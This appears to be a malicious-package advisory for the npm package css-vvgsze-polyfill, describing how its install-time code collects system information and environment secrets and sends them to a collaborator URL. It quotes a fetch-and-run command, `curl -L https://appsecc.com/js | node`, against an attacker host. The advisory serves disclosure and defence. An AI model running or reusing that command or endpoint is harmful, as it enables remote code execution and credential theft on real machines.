css-vvgsze-polyfill

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59)
thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/a00eadccb320bc1163c7d818541ccc8206217cce/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/a00eadccb320bc1163c7d818541ccc8206217cce/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json
- https://www.npmjs.com/package/css-vvgsze-polyfill/v/1.0.0
- https://github.com/advisories/GHSA-hcp6-vwm8-q8x9

Compromised versions (1)

• = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.